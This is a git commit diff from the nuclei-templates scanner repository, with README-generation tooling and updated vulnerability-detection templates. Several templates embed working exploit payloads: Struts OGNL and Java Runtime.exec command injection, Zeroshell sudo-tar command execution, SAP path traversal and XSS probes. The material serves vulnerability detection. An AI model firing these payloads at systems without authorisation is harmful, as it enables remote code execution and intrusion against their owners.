Adding content type checks for XSS templates

Auto Update README [Sun Dec 13 19:12:38 UTC 2020] 🤖
Merge pull request #675 from geeknik/patch-27
2026-11-07 08:36:19 -10:00 · 2020-12-14 00:54:23 +05:30 · 2020-12-13 19:12:38 +00:00 · 2020-12-14 00:42:16 +05:30 · 2020-12-13 18:18:59 +00:00 · 2020-12-13 23:48:19 +05:30
106 changed files with 3402 additions and 522 deletions
@@ -0,0 +1,49 @@
+f"""
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### Nuclei templates `{version}` overview
+
+| Templates | Counts | Templates | Counts |
+|----|----|----|----|
+| cves | {countTpl("cves")} | files | {countTpl("files")} |
+| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
+| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
+| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
+| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
+| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
+| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
+| wordlists | {countTpl("wordlists")} | misc | {countTpl("misc")} |
+
+
+### Nuclei templates `{version}` tree overview
+
+<details>
+<summary> Nuclei templates </summary>
+
+```
+{command("tree", 1, -2)}
+```
+
+</details>
+
+**{command("tree", -2, None)}**.
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
+
+------
+**Notes:** 
+1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
+2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
+
+Thanks again for your contribution and keeping the community vibrant. :heart:
+"""
@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+import os
+import subprocess
+
+def countTpl(path):
+	return len(os.listdir(path))
+
+def command(args, start=None, end=None):
+	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
+
+if __name__ == "__main__":
+	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	template = eval(open(".github/scripts/README.tmpl", "r").read())
+
+	print(template)
+	f = open("README.md", "w")
+	f.write(template)
+	f.close()
@@ -0,0 +1,44 @@
+name: "Auto Update README"
+
+on:
+  push:
+    branches:
+      - master
+  create:
+    tags:
+      - v*
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
+    steps:
+      - name: Install tree
+        run: sudo apt-get install tree -y
+
+      - name: Check out code
+        uses: actions/checkout@master
+        with:
+          persist-credentials: false
+          fetch-depth: 0
+
+      - name: Set up Python
+        uses: actions/setup-python@v2
+        with:
+          python-version: "3.8"
+
+      - name: Update README
+        run: |
+          python .github/scripts/update-readme.py
+
+      - name: Commit files
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Update README [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}
@@ -1,12 +1,10 @@
 .pre-commit-config.yaml
-security-misconfiguration/missing-x-frame-options.yaml
-security-misconfiguration/missing-hsts.yaml
-security-misconfiguration/missing-csp.yaml
-security-misconfiguration/basic-cors-flash.yaml
 cves/CVE-2017-7529.yaml
 cves/CVE-2020-13379.yaml
 cves/CVE-2013-2251.yaml
+cves/CVE-2020-16139.yaml
+cves/CVE-2019-15858.yaml
 vulnerabilities/x-forwarded-host-injection.yaml
 fuzzing/
 wordlists/
-workflows/
+misc/
@@ -1,3 +1,4 @@
+
 # Nuclei Templates

 [![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
@@ -10,36 +11,35 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n

 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 

-### nuclei templates `v7.2.0`
+### Nuclei templates `v7.3.1` overview

-| Template Directory      	| Number of Templates      |
-|---------------------------|--------------------------|
-| cves                     	|125                       |
-| default-credentials       |03                        |
-| dns                     	|04                        |
-| files                     |44                        |
-| fuzzing                   |02                        |
-| generic-detections        |03                        |
-| panels                    |39                        |
-| security-misconfiguration |25                  	   |
-| subdomain-takeover        |02           			   |
-| technologies              |32      				   |
-| tokens                    |08                        |
-| vulnerabilities           |33          			   |
-| workflows                 |15              		   |
+| Templates | Counts | Templates | Counts |
+|----|----|----|----|
+| cves | 141 | files | 43 |
+| vulnerabilities | 40 | panels | 45 |
+| technologies | 40 | security-misconfiguration | 24 |
+| workflows | 16 | tokens | 8 |
+| dns | 6 | fuzzing | 6 |
+| generic-detections | 3 | default-credentials | 3 |
+| subdomain-takeover | 2 | payloads | 2 |
+| wordlists | 1 | misc | 13 |

-### nuclei templates `v7.2.0` tree overview 
+
+### Nuclei templates `v7.3.1` tree overview

 <details>
-<summary>Template Directory</summary>
+<summary> Nuclei templates </summary>

 ```
+├── LICENSE.md
+├── README.md
 ├── cves
 │   ├── CVE-2005-2428.yaml
 │   ├── CVE-2013-2251.yaml
 │   ├── CVE-2014-6271.yaml
 │   ├── CVE-2017-10075.yaml
 │   ├── CVE-2017-11444.yaml
+│   ├── CVE-2017-12637.yaml
 │   ├── CVE-2017-14537.yaml
 │   ├── CVE-2017-14849.yaml
 │   ├── CVE-2017-5638.yaml
@@ -55,6 +55,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2018-1271.yaml
 │   ├── CVE-2018-1273.yaml
 │   ├── CVE-2018-13379.yaml
+│   ├── CVE-2018-13380.yaml
 │   ├── CVE-2018-14728.yaml
 │   ├── CVE-2018-16341.yaml
 │   ├── CVE-2018-16763.yaml
@@ -70,19 +71,19 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2018-7490.yaml
 │   ├── CVE-2019-1010287.yaml
 │   ├── CVE-2019-10475.yaml
-│   ├── CVE-2019-11043.yaml
 │   ├── CVE-2019-11248.yaml
 │   ├── CVE-2019-11510.yaml
 │   ├── CVE-2019-11580.yaml
+│   ├── CVE-2019-11581.yaml
 │   ├── CVE-2019-12314.yaml
 │   ├── CVE-2019-12461.yaml
 │   ├── CVE-2019-12593.yaml
+│   ├── CVE-2019-12725.yaml
 │   ├── CVE-2019-14322.yaml
 │   ├── CVE-2019-14696.yaml
 │   ├── CVE-2019-14974.yaml
 │   ├── CVE-2019-15043.yaml
 │   ├── CVE-2019-15107.yaml
-│   ├── CVE-2019-15858.yaml
 │   ├── CVE-2019-16278.yaml
 │   ├── CVE-2019-1653.yaml
 │   ├── CVE-2019-16662.yaml
@@ -100,9 +101,11 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-2588.yaml
 │   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
+│   ├── CVE-2019-3402.yaml
 │   ├── CVE-2019-3799.yaml
 │   ├── CVE-2019-5418.yaml
 │   ├── CVE-2019-6112.yaml
+│   ├── CVE-2019-6340.yaml
 │   ├── CVE-2019-6715.yaml
 │   ├── CVE-2019-7256.yaml
 │   ├── CVE-2019-7609.yaml
@@ -111,31 +114,42 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-8451.yaml
 │   ├── CVE-2019-8903.yaml
 │   ├── CVE-2019-8982.yaml
+│   ├── CVE-2019-9670.yaml
+│   ├── CVE-2019-9733.yaml
 │   ├── CVE-2019-9978.yaml
+│   ├── CVE-2020-0618.yaml
 │   ├── CVE-2020-10199.yaml
 │   ├── CVE-2020-10204.yaml
 │   ├── CVE-2020-11034.yaml
 │   ├── CVE-2020-1147.yaml
+│   ├── CVE-2020-11738.yaml
 │   ├── CVE-2020-12116.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
+│   ├── CVE-2020-13942.yaml
 │   ├── CVE-2020-14179.yaml
 │   ├── CVE-2020-14181.yaml
+│   ├── CVE-2020-14864.yaml
+│   ├── CVE-2020-14882.yaml
 │   ├── CVE-2020-15129.yaml
 │   ├── CVE-2020-15505.yaml
 │   ├── CVE-2020-15920.yaml
 │   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-16846.yaml
 │   ├── CVE-2020-16952.yaml
 │   ├── CVE-2020-17505.yaml
 │   ├── CVE-2020-17506.yaml
 │   ├── CVE-2020-2096.yaml
 │   ├── CVE-2020-2140.yaml
+│   ├── CVE-2020-23972.yaml
 │   ├── CVE-2020-24223.yaml
 │   ├── CVE-2020-24312.yaml
 │   ├── CVE-2020-2551.yaml
 │   ├── CVE-2020-25540.yaml
+│   ├── CVE-2020-26214.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
+│   ├── CVE-2020-4463.yaml
 │   ├── CVE-2020-5284.yaml
 │   ├── CVE-2020-5405.yaml
 │   ├── CVE-2020-5410.yaml
@@ -145,6 +159,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-5902.yaml
 │   ├── CVE-2020-6287.yaml
 │   ├── CVE-2020-7209.yaml
+│   ├── CVE-2020-7318.yaml
 │   ├── CVE-2020-7961.yaml
 │   ├── CVE-2020-8091.yaml
 │   ├── CVE-2020-8115.yaml
@@ -152,15 +167,14 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-8191.yaml
 │   ├── CVE-2020-8193.yaml
 │   ├── CVE-2020-8194.yaml
+│   ├── CVE-2020-8209.yaml
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
 │   ├── CVE-2020-9047.yaml
 │   ├── CVE-2020-9344.yaml
 │   ├── CVE-2020-9484.yaml
 │   ├── CVE-2020-9496.yaml
-│   ├── CVE-2020-9757.yaml
-│   ├── cve-2019-9733.yaml
-│   └── cve-2020-0618.yaml
+│   └── CVE-2020-9757.yaml
 ├── default-credentials
 │   ├── grafana-default-credential.yaml
 │   ├── rabbitmq-default-admin.yaml
@@ -169,11 +183,12 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── azure-takeover-detection.yaml
 │   ├── cname-service-detector.yaml
 │   ├── dead-host-with-cname.yaml
-│   └── servfail-refused-hosts.yaml
+│   ├── mx-service-detector.yaml
+│   ├── servfail-refused-hosts.yaml
+│   └── spoofable-spf-records-ptr.yaml
 ├── files
 │   ├── apc-info.yaml
 │   ├── cgi-test-page.yaml
-│   ├── dir-listing.yaml
 │   ├── docker-registry.yaml
 │   ├── domcfg-page.yaml
 │   ├── druid-monitor.yaml
@@ -187,18 +202,17 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── filezilla.yaml
 │   ├── firebase-detect.yaml
 │   ├── git-config.yaml
-│   ├── htaccess-config.yaml
+│   ├── htpasswd-detection.yaml
 │   ├── jkstatus-manager.yaml
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
 │   ├── magento-config.yaml
-│   ├── ntlm-directories.yaml
 │   ├── php-errors.yaml
 │   ├── phpinfo.yaml
 │   ├── public-tomcat-instance.yaml
-│   ├── robots.txt.yaml
-│   ├── security.txt.yaml
+│   ├── redmine-db-config.yaml
+│   ├── server-private-keys.yaml
 │   ├── server-status-localhost.yaml
 │   ├── shell-history.yaml
 │   ├── sql-dump.yaml
@@ -214,30 +228,50 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── wordpress-installer-log.yaml
 │   ├── wordpress-tmm-db-migrate.yaml
 │   ├── wordpress-user-enumeration.yaml
-│   ├── wp-xmlrpc.yaml
 │   ├── wsdl-detect.yaml
 │   └── zip-backup-files.yaml
 ├── fuzzing
 │   ├── arbitrary-file-read.yaml
+│   ├── basic-auth-bruteforce.yaml
 │   ├── directory-traversal.yaml
-│   └── generic-lfi-fuzzing.yaml
+│   ├── generic-lfi-fuzzing.yaml
+│   ├── iis-shortname.yaml
+│   └── wp-plugin-scan.yaml
 ├── generic-detections
 │   ├── basic-xss-prober.yaml
 │   ├── general-tokens.yaml
 │   └── top-15-xss.yaml
+├── misc
+│   ├── basic-cors-flash.yaml
+│   ├── dir-listing.yaml
+│   ├── htaccess-config.yaml
+│   ├── missing-csp.yaml
+│   ├── missing-hsts.yaml
+│   ├── missing-x-frame-options.yaml
+│   ├── ntlm-directories.yaml
+│   ├── robots.txt.yaml
+│   ├── security.txt.yaml
+│   ├── trace-method.yaml
+│   ├── unencrypted-bigip-ltm-cookie.yaml
+│   ├── wp-xmlrpc.yaml
+│   └── xml-schema-detect.yaml
 ├── panels
 │   ├── adminer-panel.yaml
 │   ├── aims-password-mgmt-client.yaml
 │   ├── atlassian-crowd-panel.yaml
 │   ├── cisco-asa-panel.yaml
 │   ├── citrix-adc-gateway-detect.yaml
+│   ├── citrix-vpn-detect.yaml
 │   ├── compal.yaml
 │   ├── crxde.yaml
 │   ├── docker-api.yaml
 │   ├── fortinet-fortigate-panel.yaml
+│   ├── github-enterprise-detect.yaml
+│   ├── gitlab-detect.yaml
 │   ├── globalprotect-panel.yaml
 │   ├── go-anywhere-client.yaml
 │   ├── grafana-detect.yaml
+│   ├── identityguard-selfservice-entrust.yaml
 │   ├── iomega-lenovo-emc-shared-nas-detect.yaml
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
@@ -246,6 +280,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── mobileiron-login.yaml
 │   ├── netscaler-gateway.yaml
 │   ├── network-camera-detect.yaml
+│   ├── oipm-detect.yaml
 │   ├── parallels-html-client.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── polycom-admin-detect.yaml
@@ -270,7 +305,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
 ├── security-misconfiguration
-│   ├── basic-cors-flash.yaml
+│   ├── apache-tomcat-snoop.yaml
 │   ├── basic-cors.yaml
 │   ├── django-debug-detect.yaml
 │   ├── drupal-user-enum-ajax.yaml
@@ -284,9 +319,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jupyter-ipython-unauth.yaml
 │   ├── larvel-debug.yaml
 │   ├── manage-engine-ad-search.yaml
-│   ├── missing-csp.yaml
-│   ├── missing-hsts.yaml
-│   ├── missing-x-frame-options.yaml
 │   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
 │   ├── salesforce-aura-misconfig.yaml
@@ -303,36 +335,40 @@ An overview of the nuclei template directory including number of templates and H
 ├── technologies
 │   ├── apache-detect.yaml
 │   ├── artica-web-proxy-detect.yaml
+│   ├── basic-auth-detection.yaml
 │   ├── bigip-config-utility-detect.yaml
-│   ├── citrix-vpn-detect.yaml
+│   ├── cacti-detect.yaml
 │   ├── clockwork-php-page.yaml
 │   ├── couchdb-detect.yaml
 │   ├── favicon-detection.yaml
-│   ├── github-enterprise-detect.yaml
-│   ├── gitlab-detect.yaml
 │   ├── google-storage.yaml
 │   ├── graphql.yaml
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
 │   ├── jira-detect.yaml
+│   ├── kibana-detect.yaml
 │   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
 │   ├── lotus-domino-version.yaml
 │   ├── magmi-detect.yaml
+│   ├── mrtg-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
 │   ├── nifi-detech.yaml
 │   ├── oidc-detect.yaml
 │   ├── pi-hole-detect.yaml
 │   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
+│   ├── prtg-detect.yaml
+│   ├── redmine-cli-detect.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
 │   ├── sap-netweaver-detect.yaml
 │   ├── shiro-detect.yaml
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
+│   ├── terraform-detect.yaml
 │   ├── tomcat-detect.yaml
 │   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
@@ -355,11 +391,13 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── eclipse-help-system-xss.yaml
 │   ├── git-config-nginxoffbyslash.yaml
 │   ├── ibm-infoprint-directory-traversal.yaml
+│   ├── mcafee-epo-rce.yaml
 │   ├── microstrategy-ssrf.yaml
 │   ├── mida-eframework-xss.yaml
 │   ├── moodle-filter-jmol-lfi.yaml
 │   ├── moodle-filter-jmol-xss.yaml
 │   ├── nginx-module-vts-xss.yaml
+│   ├── nuuo-nvrmini2-rce.yaml
 │   ├── open-redirect.yaml
 │   ├── oracle-ebs-bispgraph-file-access.yaml
 │   ├── pdf-signer-ssti-to-rce.yaml
@@ -385,27 +423,30 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── wordpress-wordfence-xss.yaml
 │   ├── wordpress-wpcourses-info-disclosure.yaml
 │   └── zms-auth-bypass.yaml
+├── wordlists
+│   └── wp-plugins.txt
 └── workflows
    ├── artica-web-proxy-workflow.yaml
-    ├── bigip-pwner-workflow.yaml
+    ├── basic-auth-workflow.yaml
+    ├── bigip-workflow.yaml
    ├── cisco-asa-workflow.yaml
    ├── grafana-workflow.yaml
-    ├── jira-exploitation-workflow.yaml
-    ├── liferay-rce-workflow.yaml
+    ├── jira-workflow.yaml
+    ├── liferay-workflow.yaml
    ├── lotus-domino-workflow.yaml
    ├── magmi-workflow.yaml
    ├── mida-eframework-workflow.yaml
-    ├── netsweeper-preauth-rce-workflow.yaml
+    ├── netsweeper-workflow.yaml
    ├── rabbitmq-workflow.yaml
    ├── sap-netweaver-workflow.yaml
-    ├── springboot-pwner-workflow.yaml
+    ├── springboot-workflow.yaml
    ├── vbulletin-workflow.yaml
    └── wordpress-workflow.yaml
 ```

 </details>

-14 directories, **352 templates**. 
+**16 directories, 395 files**.

 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

@@ -415,4 +456,3 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
-
@@ -1,6 +1,6 @@
 id: cve-2005-2428
 info:
-  name: CVE-2005-2428 testing
+  name: CVE-2005-2428
  author: CasperGN
  severity: medium

@@ -2,24 +2,45 @@ id: cve-2013-2251

 info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
-  author: exploitation
+  author: exploitation & @dwisiswant0
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
-      - "{{BaseURL}}/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
-      - "{{BaseURL}}/index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
-      - "{{BaseURL}}/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
+  - payloads:
+      params:
+        - "redirect"
+        - "action"
+        - "redirectAction"
+    raw:
+      - |
+        GET /index.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+      - |
+        GET /login.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
+          - 400
+        condition: or
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
      - type: word
        words:
-          - "uid="
-        condition: and
+          - "There is no Action mapped for namespace"
+          - "The origin server did not find a current representation for the target resource"
+          - "Apache Tomcat"
+        condition: or
        part: body
@@ -0,0 +1,28 @@
+id: cve-2017-12637
+
+info:
+  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
+  author: apt-mirror
+  severity: high
+  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
+
+  # References:
+  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
+  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+  # - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "WEB-INF"
+          - "META-INF"
+        condition: and
+        part: body
@@ -22,4 +22,9 @@ requests:
      - type: word
        words:
          - '"><script>alert(document.domain);</script><'
-        part: body
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -24,7 +24,7 @@ requests:
        Connection: close
        Content-Type: application/x-www-form-urlencoded

-        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
+        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('§command§')}}')]=nuclei
    matchers:
      - type: regex
        regex:
@@ -0,0 +1,31 @@
+id: cve-2018-13380
+
+info:
+  name: Fortinet FortiOS Cross-Site Scripting
+  author: shelld3v
+  severity: medium
+  description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
+  type: XSS
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/message?title=x&msg=%26%23<svg/onload=alert(1337)>"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload=alert(1337)>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
+
+      - type: status
+        status:
+          - 200
@@ -9,8 +9,15 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
+
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<h1xxx<scriptalert(1)</script"
        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -18,3 +18,8 @@ requests:
        words:
          - "<svg/onload=alert(1337)>"
        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -1,18 +0,0 @@
-id: cve-2019-11043
-
-info:
-  name: PHP-FPM & nginx RCE
-  author: geeknik
-  severity: high
-  description: https://github.com/neex/phuip-fpizdam
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/?a=/bin/sh+-c+'which+which'&"
-
-    matchers:
-      - type: word
-        words:
-          - "/bin/which"
-        part: body
@@ -0,0 +1,38 @@
+id: CVE-2019-11581
+
+info:
+  name: Atlassian Jira template injection
+  description: There was a server-side template injection vulnerability in Jira Server and Data Center, in the ContactAdministrators and the SendBulkMail actions. An attacker is able to remotely execute code on systems that run a vulnerable version of Jira Server or Data Center. All versions of Jira Server and Data Center from 4.4.0 before 7.6.14, from 7.7.0 before 7.13.5, from 8.0.0 before 8.0.3, from 8.1.0 before 8.1.2, and from 8.2.0 before 8.2.3 are affected by this vulnerability.
+  author: ree4pwn
+  severity: critical
+  reference: https://github.com/jas502n/CVE-2019-11581
+  product: Jira
+
+  # This is detection template only, use the referenced link for the exploitation.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ContactAdministrators!default.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "\\(v4\\.4\\."
+          - "\\(v5\\."
+          - "\\(v6\\."
+          - "\\(v7\\.[012345789]\\."
+          - "\\(v7\\.1[0-2]\\."
+          - "\\(v7\\.6\\.([0-9]|[1][0-3])"
+          - "\\(v7\\.\\13\\.[0-4]"
+          - "\\(v8\\.0\\.[0-2]"
+          - "\\(v8\\.1\\.[0-1]"
+          - "\\(v8\\.2\\.[0-2]"
+        condition: or
+        part: body
+
+      - type: word
+        words:
+          - "Contact Site Administrators"
+        part: body
@@ -23,3 +23,7 @@ requests:
        words:
          - '"</script><script>alert(document.domain);</script><script>'
        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,27 @@
+id: cve-2019-12725
+
+info:
+  name: Zeroshell 3.9.0 Remote Command Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    This template exploits an unauthenticated command injection vulnerability
+    found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
+    As sudo is configured to execute /bin/tar without a password (NOPASSWD)
+    it is possible to run root commands using the "checkpoint" tar options.
+  references: |
+    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
+    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
@@ -1,29 +0,0 @@
-id: cve-2019-15858
-
-info:
-  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
-  author: dwisiswant0
-  severity: high
-  description: |
-    This template supports the detection part only. See references.
-
-    admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin
